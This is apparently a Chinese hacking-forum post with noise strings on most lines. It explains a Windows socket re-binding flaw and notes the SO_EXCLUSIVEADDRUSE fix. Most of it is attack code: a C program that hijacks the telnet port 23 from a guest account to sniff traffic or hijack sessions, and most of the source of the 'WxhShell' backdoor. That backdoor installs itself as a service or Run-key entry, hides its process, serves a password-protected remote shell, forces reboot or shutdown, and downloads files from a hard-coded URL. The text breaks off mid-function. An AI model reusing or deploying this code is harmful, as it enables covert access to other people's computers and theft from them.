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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C/%umazP9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jy{T=Nb  
t`03$&Cx7  
  saddr.sin_family = AF_INET; 2H fP$.  
\^SL Zhe  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2S}%r4$n}  
YMLo~j4J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2?rg&og6  
\tLJ( <8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h;f5@#F  
F6Zl#eL  
  这意味着什么?意味着可以进行如下的攻击: 3(%hHM7DM  
XLp tJ4~v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NS6Bi3~  
5gZ0a4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Zu:cF+h l  
^*'|(Cv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h>$,97EU  
~|@aV:k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;Avd$&::  
P (jlWr$$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l*("[?>I  
U#1T HO`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @^} % o-:  
yAR''>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "cRc~4%K  
Y'Sxehx  
  #include -\\}K\*MJ  
  #include 8dq{.B?  
  #include cEi{+rfZd|  
  #include    `R0>;TdT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Hkg^  
  int main() vlIet$ k  
  { qfvd( w  
  WORD wVersionRequested; mN@)b+~(S  
  DWORD ret; h1G]w/.ws  
  WSADATA wsaData; e{U`^ao`F8  
  BOOL val; m,aJ(8G  
  SOCKADDR_IN saddr; I>bLgt]u3  
  SOCKADDR_IN scaddr; tc\LK_@$/F  
  int err; "2+>!G RQ  
  SOCKET s; Fp4eGuWH#  
  SOCKET sc; ;SeDxyKG  
  int caddsize; p 9XHYf72  
  HANDLE mt; <|k!wfHL  
  DWORD tid;   2{!'L'km  
  wVersionRequested = MAKEWORD( 2, 2 ); n_AW0i .  
  err = WSAStartup( wVersionRequested, &wsaData ); !Zgb|e8<  
  if ( err != 0 ) { m7z/@b[  
  printf("error!WSAStartup failed!\n"); ^2|gQ'7<  
  return -1; a-x8LfcbF  
  }  BqP:]  
  saddr.sin_family = AF_INET; 9c9-1iS  
   j#Ly!%dp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 < Up n~tH  
=t<!W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )FT~gl%  
  saddr.sin_port = htons(23); a+)Yk8%KY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yfiRMN"2  
  { +che Lc  
  printf("error!socket failed!\n"); 0aSN 8  
  return -1; ,!F'h:   
  } G%;XJsFGp  
  val = TRUE; })g|r9=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `hM`bcS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Lg|j0-"N  
  { R +P,kD?  
  printf("error!setsockopt failed!\n"); 4otB1{  
  return -1; 5dT-{c%w4  
  } jIv+=b#oT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B{H;3{0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pnca+d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  N~EM`d  
x`{ni6}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Sq%BfP)a(  
  { y7wy9+>l  
  ret=GetLastError(); *y5d&4G2  
  printf("error!bind failed!\n"); eT[ ,k[#q  
  return -1; fU!C:  
  } ruS/Yh  
  listen(s,2); 6S])IA&VJ  
  while(1) M ioS  
  { RR{]^g51  
  caddsize = sizeof(scaddr); ]x:>~0/L  
  //接受连接请求 LT!.M m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?(*KQ#d  
  if(sc!=INVALID_SOCKET) JMuUj_^}7  
  { =bded(3Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xE;4#+_I  
  if(mt==NULL) Cq !VMl>hP  
  { W:4]-i?2  
  printf("Thread Creat Failed!\n"); i cQsA  
  break; g}{Rk>k  
  } gdSv) (  
  } "^;'.~@e8  
  CloseHandle(mt); gmLGK1  
  } uh\I'  
  closesocket(s); PQWo<Uet  
  WSACleanup();  ,@R~y  
  return 0; %((F} 9_6  
  }   +z+25qWi  
  DWORD WINAPI ClientThread(LPVOID lpParam) @{@x2'-A  
  { ?#ndMv!$  
  SOCKET ss = (SOCKET)lpParam; & oZI. Qeo  
  SOCKET sc; Cj"k Fq4  
  unsigned char buf[4096]; }(Nb]_H  
  SOCKADDR_IN saddr; [Rs5hO  
  long num; Pw1V1v&> q  
  DWORD val; $7jJV(B  
  DWORD ret; kMo;<Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %&c[g O!Za  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4FQU$f  
  saddr.sin_family = AF_INET; t&mw@bj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9j49#wG0"B  
  saddr.sin_port = htons(23); MkC25  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q !7z4Cn  
  { *1ekw#'  
  printf("error!socket failed!\n"); W |G(x8  
  return -1;  &e7yX  
  } >sm< < gVb  
  val = 100; oPk2ac  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WU Q2[)<  
  { #PVgx9T=_  
  ret = GetLastError(); &1F)/$,v  
  return -1; ~YlbS-  
  } !R//"{k0?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (jPN+yQ  
  { N1\u~%AT"  
  ret = GetLastError(); !Lb9KDk  
  return -1; YMIDV-  
  } 1zGEf&rv:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j{7_p$JM  
  { NlU:e}zGR  
  printf("error!socket connect failed!\n"); l4O}>#  
  closesocket(sc);  M)Yu^  
  closesocket(ss); FGr0W|?v  
  return -1; _Jj|g9b  
  } Wgq*|teW  
  while(1) ='pssdB  
  { YCeE?S1gk3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Cl\Vk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X@JDfn?A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pb{'t2kk  
  num = recv(ss,buf,4096,0); / ]>&OSV  
  if(num>0) -J:](p  
  send(sc,buf,num,0); %HL@O]ftS  
  else if(num==0) I=D`:u\H  
  break; \hc}xy 0  
  num = recv(sc,buf,4096,0); m589C+7  
  if(num>0) lc>nU hj.  
  send(ss,buf,num,0); I> =7|G  
  else if(num==0) bRLmJt98P  
  break; I:]s/r7  
  } 6^mO<nB   
  closesocket(ss); TcpD*%wW  
  closesocket(sc); 6}L[7~1  
  return 0 ; 1#(,Bq4  
  } UQPd@IVu6  
u&STGc[  
w I #_r_  
========================================================== hs2f3;)  
7w @.)@5  
下边附上一个代码,,WXhSHELL L G,XhN  
*B)>5r  
========================================================== `;hsOfo  
[9z<*@$-  
#include "stdafx.h" _Y|k \|'  
kkyn>Wxv  
#include <stdio.h> [k@D}p x  
#include <string.h> UB.FX  
#include <windows.h> T_[W=9  
#include <winsock2.h> yIXM}i:  
#include <winsvc.h> Z:,HB]&;9  
#include <urlmon.h> 6[aCjW  
mmwwz  
#pragma comment (lib, "Ws2_32.lib") P;MS%32  
#pragma comment (lib, "urlmon.lib") ~)tMR9=wX  
S?OK@UEJ  
#define MAX_USER   100 // 最大客户端连接数 JI3AR e?y  
#define BUF_SOCK   200 // sock buffer | (v/>t  
#define KEY_BUFF   255 // 输入 buffer H^K(1  
? RB~%^c!  
#define REBOOT     0   // 重启 _<pG}fmR  
#define SHUTDOWN   1   // 关机 <H}"xp)j0  
K\IS"b3X  
#define DEF_PORT   5000 // 监听端口 lr+Kwve  
KT{ <iz_  
#define REG_LEN     16   // 注册表键长度 &^63*x;hE  
#define SVC_LEN     80   // NT服务名长度 ~bigaY  
:n0(gB  
// 从dll定义API 70lb6A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  YDi_Gl$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fS1N(RZ 1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P6i4Dr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]AERi] B  
0AJ6g@ t[  
// wxhshell配置信息 L(`^T`  
struct WSCFG { [53@'@26  
  int ws_port;         // 监听端口 y<BiR@%,7  
  char ws_passstr[REG_LEN]; // 口令 1^!= J<`K;  
  int ws_autoins;       // 安装标记, 1=yes 0=no X2dTV}~i  
  char ws_regname[REG_LEN]; // 注册表键名 ?F AsV&y  
  char ws_svcname[REG_LEN]; // 服务名 C0i:*1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mgG0uV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x:xKlPGd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6\4oHRJC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wE%v[q[*X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )\`TZLR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6x*ImhQ.J  
?tqTG2!(  
}; `q7I;w+g  
Ip.5I!h[Xb  
// default Wxhshell configuration >p\IC  
struct WSCFG wscfg={DEF_PORT, >9+@oGe(E  
    "xuhuanlingzhe", Y8m|f  
    1, =c-j4xna>  
    "Wxhshell", Haj`mc!<D0  
    "Wxhshell", 3c@Cb`w@  
            "WxhShell Service", F =iz\O!6  
    "Wrsky Windows CmdShell Service", T-fW[][&$  
    "Please Input Your Password: ", [Gh T.  
  1, .}SW`R Pk  
  "http://www.wrsky.com/wxhshell.exe", wXuHD<<  
  "Wxhshell.exe" C~'}RM  
    }; ^CZn<$  
zJ|Ek"R.  
// 消息定义模块 U lj2 Py}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U g]6i+rp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nt "VH5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6/nhz6=  
char *msg_ws_ext="\n\rExit."; #4%,09+  
char *msg_ws_end="\n\rQuit."; vq(@B  
char *msg_ws_boot="\n\rReboot..."; A[htG\A` 0  
char *msg_ws_poff="\n\rShutdown..."; MCL?J,1?r  
char *msg_ws_down="\n\rSave to "; R/ l1$}  
e_k1pox]l  
char *msg_ws_err="\n\rErr!"; ,_u8y&<|I  
char *msg_ws_ok="\n\rOK!"; 5y}}?6n+  
-HZvz[u  
char ExeFile[MAX_PATH]; }(op;7  
int nUser = 0; C<qJnB:B 9  
HANDLE handles[MAX_USER]; ^B?{X|U37  
int OsIsNt; ],qG!,V  
W zy8  
SERVICE_STATUS       serviceStatus; TeHL=\L-^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f*W<N06EZ  
ln9MVF'!&  
// 函数声明 .H7"nt^  
int Install(void); aina6@S  
int Uninstall(void); p8Lb*7W  
int DownloadFile(char *sURL, SOCKET wsh); [g&Q_+,j  
int Boot(int flag); ^4B6IF*  
void HideProc(void); z)43+8;  
int GetOsVer(void); A-ir   
int Wxhshell(SOCKET wsl); pR`.8MMc8  
void TalkWithClient(void *cs); Ug3PZ7lK  
int CmdShell(SOCKET sock); a(d'iAU8^  
int StartFromService(void); RX?Nv4-  
int StartWxhshell(LPSTR lpCmdLine); -("79v>#  
'PV,c|f>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xw9,O8}C7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;`X-.45  
S3)JEZi  
// 数据结构和表定义 d cPh @3  
SERVICE_TABLE_ENTRY DispatchTable[] = @iC!Q>D  
{ ;\4}Hcg  
{wscfg.ws_svcname, NTServiceMain}, WAqR70{KM  
{NULL, NULL} `j_R ?mY  
}; gOgG23 x  
,0lRs   
// 自我安装 s8@fZ4  
int Install(void) EJdq"6S  
{ I*6L`#j[  
  char svExeFile[MAX_PATH]; mQ VduG  
  HKEY key; RTLu]Bry  
  strcpy(svExeFile,ExeFile); cS QUK  
6S"bW)O  
// 如果是win9x系统,修改注册表设为自启动 cCyg&% zsT  
if(!OsIsNt) { !Aunwq^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 99 :`58G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t~sW]<qjp  
  RegCloseKey(key); ( 5_oH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I>L lc Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }! zjj\g^  
  RegCloseKey(key); 2/B(T5PY@  
  return 0; )z7. S"U  
    } {:S{a+9~  
  } g>OGh o  
} -_>c P  
else { %b@>riR(y  
asPD>jc  
// 如果是NT以上系统,安装为系统服务 cpu+"/\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8V=I[UF.1?  
if (schSCManager!=0) LP=!u~?  
{ /~g M,*  
  SC_HANDLE schService = CreateService iO<O2A.F  
  ( O=c&  
  schSCManager, nfRo:@  
  wscfg.ws_svcname, z_A%>E4  
  wscfg.ws_svcdisp, 5>h2WL  
  SERVICE_ALL_ACCESS, ``aoLQc`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MW'z*r|,  
  SERVICE_AUTO_START, Og30&a!~F  
  SERVICE_ERROR_NORMAL, Pbm ;@ V  
  svExeFile, >a_K:O|AJ  
  NULL, yMX4 f  
  NULL, Srol0D I  
  NULL, q.Z0Q  
  NULL, }@ 1LFZx  
  NULL +/x|P-  
  ); 8ne5 B4  
  if (schService!=0) D=9x/ ) *G  
  { Gp32\^H|<  
  CloseServiceHandle(schService); 2S!=2u+7  
  CloseServiceHandle(schSCManager); *$^M E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &(Xp_3PO  
  strcat(svExeFile,wscfg.ws_svcname); -J? df  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tH>%`:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kIXLB!L2b^  
  RegCloseKey(key); #BT= K  
  return 0; P 3lN ns3  
    } !X[lNt O  
  } c!w4N5aM  
  CloseServiceHandle(schSCManager); Szwa2IdI.  
} r8Gq\ ^  
} qDcl;{L  
AbcLHV.  
return 1; v,g,c`BjK  
} VMHiuBz:  
J )@x:,o  
// 自我卸载  0A pvuf1  
int Uninstall(void) (_<ruwV]`  
{ '-W p|A  
  HKEY key; QD\S E  
e^Jy-?E  
if(!OsIsNt) { ap;*qiNFQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EWH'x$z_q  
  RegDeleteValue(key,wscfg.ws_regname); $2;YJjz(  
  RegCloseKey(key); }=XL^a|V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fFSW\4JD=  
  RegDeleteValue(key,wscfg.ws_regname); U$0#j  
  RegCloseKey(key); mRQ F5W6  
  return 0; =_ -@1 1a  
  } sjShm  
} 9dKrE_zK:  
}  kQX,MP(  
else { IGv>0LOd@  
BT`/O D@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p(f)u]1`  
if (schSCManager!=0) /V&$SRdL*  
{ OaU$ [Z'8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CHBCi) '6h  
  if (schService!=0) S1`+r0Fk~n  
  { W&+UF'F2  
  if(DeleteService(schService)!=0) { T*A_F [  
  CloseServiceHandle(schService); oX?2fu-  
  CloseServiceHandle(schSCManager); HnOp*FP  
  return 0; AQ+w%>G6  
  } 173/A=]  
  CloseServiceHandle(schService); \>,{)j q;  
  }  $7|0{Dw  
  CloseServiceHandle(schSCManager); L$(W* PG}  
} IybMO5Mwn  
} fa<83<.D  
S~Nx;sB  
return 1; z KJ6j]m  
} :2?i9F0_  
m$[ \(Z(/  
// 从指定url下载文件 /!7m@P|&D  
int DownloadFile(char *sURL, SOCKET wsh) r,yhc =  
{ tQ=U22&7  
  HRESULT hr; =>ph\  
char seps[]= "/"; O a-Z eCq  
char *token; V=E9*$b]  
char *file; }.` ycLW'  
char myURL[MAX_PATH]; T(3"bS.,  
char myFILE[MAX_PATH]; M-|4cd]6  
'lIT7MK  
strcpy(myURL,sURL); hiP^*5h  
  token=strtok(myURL,seps); U_M> Q_r(  
  while(token!=NULL) >rYP}k  
  { UyK|KL  
    file=token; ] J:^$]  
  token=strtok(NULL,seps); $i~DUT(  
  } =b9?r  
T4\,b  
GetCurrentDirectory(MAX_PATH,myFILE); 'SOp!h$  
strcat(myFILE, "\\"); ze,HN Fg@>  
strcat(myFILE, file); \[Rh\v&  
  send(wsh,myFILE,strlen(myFILE),0); 4y)"IOd#|  
send(wsh,"...",3,0); | L fH,6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VCvuZU{<  
  if(hr==S_OK) c9f~^}jNb  
return 0; WERK JA  
else ]S%qfna e1  
return 1; f4X?\eGT  
Ng+k{vAj  
} 5:56l>0  
=@{H7z(p&  
// 系统电源模块 P9Rq'u  
int Boot(int flag) my*UN_]  
{ mC J/gWDY  
  HANDLE hToken; pBmacFP  
  TOKEN_PRIVILEGES tkp; BnAia3z  
|!rD2T\Ef  
  if(OsIsNt) { ]6$NU [  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $IB@|n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rq2XFSXn  
    tkp.PrivilegeCount = 1; e2/&X;2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xNq&_oY7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <7)Vj*VxC  
if(flag==REBOOT) { w 7=Y_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m<"1*d~  
  return 0; 0W]Wu[k  
} Cw Z{&  
else { 8(uxz84ce  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IVEvu3  
  return 0; (:E^} &A  
} S>cT(q_&  
  } 6RzTSb  
  else { C{Aeud #5  
if(flag==REBOOT) { 1Pn!{ bU3@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #M{}Grg  
  return 0; f+L )x  
} m,)Re8W-  
else { #T !YFMh;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C"hc.A&4  
  return 0; VWbgusxJ  
} zPhNV8k-  
} B`T9dL[E4  
gEPCXf  
return 1; 5l{_E:.1  
} ilzR/DJMa  
KX`MX5?x  
// win9x进程隐藏模块 ^#g GA_H  
void HideProc(void) |$6Gp Aq!  
{ 0/-[k  
!m]76=@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ur5X~a\y  
  if ( hKernel != NULL ) 6,cyi|s  
  { ` LU&]NS3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )[%#HT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :vV?Yv%P)n  
    FreeLibrary(hKernel); T[ mTA>d  
  } U/{cYX  
8FbBv"LI,g  
return; F>!fu.Ws  
} {Ivu"<`L3  
^H&6'A`  
// 获取操作系统版本 /R F#B#9  
int GetOsVer(void) aD%")eP%&  
{ ! =|{  
  OSVERSIONINFO winfo; {?eD7xL:-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +F+jC9j(<  
  GetVersionEx(&winfo); 5 _] i==M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =BNmuAY7  
  return 1; RHE< QG  
  else U'Vz   
  return 0; 97<Y. 0  
} Y}e$5  
Uv5E$Y"e10  
// 客户端句柄模块 $yc&f(Tv  
int Wxhshell(SOCKET wsl) Nu|?s-   
{ kj+AsQC ,  
  SOCKET wsh; ;~xkT'  
  struct sockaddr_in client; C2DNyMu  
  DWORD myID; ]]9eUw=  
S@T> u,t'  
  while(nUser<MAX_USER) ow]n)Te  
{ JnPA;1@/  
  int nSize=sizeof(client); udW, P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]Nsb V  
  if(wsh==INVALID_SOCKET) return 1; ]Alu~Dw  
0'aZ*ozk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X~n Kuo  
if(handles[nUser]==0) /I".n]  
  closesocket(wsh); \XmtSfFC  
else H^'EY:|  
  nUser++; d+"KXt5CV  
  } KRm4r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %qN8u Qx  
!"p,9  
  return 0; /m9t2,KB  
} 1~ZDHfd5  
&S c0l/  
// 关闭 socket e|]g ?!  
void CloseIt(SOCKET wsh) Y@;bA=Du}  
{ =:9n+7~$  
closesocket(wsh); (Tc ~  
nUser--; `(Ei-$ >U&  
ExitThread(0); DHm$gk  
} qH"0?<$9  
4}#*M2wb  
// 客户端请求句柄 sm\/wlbE  
void TalkWithClient(void *cs) + ZGOv,l  
{ f)N67z6  
n |.- :Zy  
  SOCKET wsh=(SOCKET)cs; oLBpG1Va  
  char pwd[SVC_LEN]; /WMG)#kw'  
  char cmd[KEY_BUFF]; 'VR5>r  
char chr[1]; ?CM,k0  
int i,j; %Sxy!gGz%%  
/`2VJw  
  while (nUser < MAX_USER) { :=*>:*.Kb  
vWzNsWPK"{  
if(wscfg.ws_passstr) { I8`.e qV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VJuPC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p 4(-  
  //ZeroMemory(pwd,KEY_BUFF); r}03&h~Hc&  
      i=0; E2%7v  
  while(i<SVC_LEN) { Fv e,&~  
rPr#V1}1a  
  // 设置超时 ?mgr #UN  
  fd_set FdRead; t1IC0'o-  
  struct timeval TimeOut; H${Ym BG  
  FD_ZERO(&FdRead); v }P~g  
  FD_SET(wsh,&FdRead); 7B+?1E(  
  TimeOut.tv_sec=8; ( |O;Ci  
  TimeOut.tv_usec=0; f~W.i]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mX,#|qLf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gs*ea'T)  
$m{\<A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zz02F+H$Y  
  pwd=chr[0]; b*.)m  
  if(chr[0]==0xd || chr[0]==0xa) { +$8hTi,  
  pwd=0; 8>O'_6Joj  
  break; QZQ@C#PR;  
  } }R}tIC-:  
  i++; lWnV{/q\X  
    } r]8tl  
B(b[Dbb  
  // 如果是非法用户,关闭 socket TX;OA"3=\-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o{>hOs &  
} y]cx}9~  
9DPf2`*$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l  4~'CLi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <J`_Qc8C  
F \} Kh3  
while(1) { "@`M>)*o  
I|iI ,l/9  
  ZeroMemory(cmd,KEY_BUFF); :gQc@)jZ(*  
5dYIL`  
      // 自动支持客户端 telnet标准   9n@jK%m  
  j=0; Km\M /j|  
  while(j<KEY_BUFF) { B-M|}T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y^3tk}yru  
  cmd[j]=chr[0]; )Tb{O  
  if(chr[0]==0xa || chr[0]==0xd) { \k;raQR4t*  
  cmd[j]=0; h1)p{ 5}H  
  break; GlD@Ud>o)  
  } jzzVZ%t  
  j++; B%'Np7  
    } rr9HC]63  
t(}&<<1Bz  
  // 下载文件 Eb{TKz?  
  if(strstr(cmd,"http://")) { ~49+$.2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5O)Z}  
  if(DownloadFile(cmd,wsh)) G-,PsXSwe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'HOcK8}b  
  else S :(1=@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |L]dJ<  
  } %NxNZe  
  else { uY'Ib[H  
w8{deSdfP  
    switch(cmd[0]) { \6C"bQ  
  ed\,FWR  
  // 帮助 EHo"y.ODg  
  case '?': { Prjl ;[I}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zxwpS  
    break; 9';0vrFeM  
  } +{Q\B}3cj1  
  // 安装 "q]v2t  
  case 'i': { /vU9eh"%  
    if(Install()) r>osa3N'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vLpE|QZs  
    else Az0Yt31=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _KD(V2W  
    break; I -;JDC?  
    } C"0gAN  
  // 卸载 ;5 IS58L  
  case 'r': { #Oe=G:+A  
    if(Uninstall()) 6 t A?<S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D0"+E*   
    else CR, Y%0vQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KZD&Ih(vC  
    break; Txp~&a03  
    } FIG5]u  
  // 显示 wxhshell 所在路径 YZ*Si3L   
  case 'p': { p&ow\A O  
    char svExeFile[MAX_PATH]; lkw[Z}\  
    strcpy(svExeFile,"\n\r"); ~ZvZ k  
      strcat(svExeFile,ExeFile); G%'h'AV"  
        send(wsh,svExeFile,strlen(svExeFile),0); #uey1I@"9  
    break; 0*tEuJ7  
    } ",~3&wx  
  // 重启 gb@!Co3  
  case 'b': { aIqNNR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^z)lEO  
    if(Boot(REBOOT)) m=y6E, _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); faMUd#o&  
    else { QjZ}*p  
    closesocket(wsh); SkPv.H0Id  
    ExitThread(0); ?(g kk YI  
    } X)nOY*  
    break; zb;2xTH+  
    } -R&h?ec  
  // 关机 MTLcLmdO  
  case 'd': { tQ|b?3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (& ~`!]  
    if(Boot(SHUTDOWN)) U*6-Y%7  
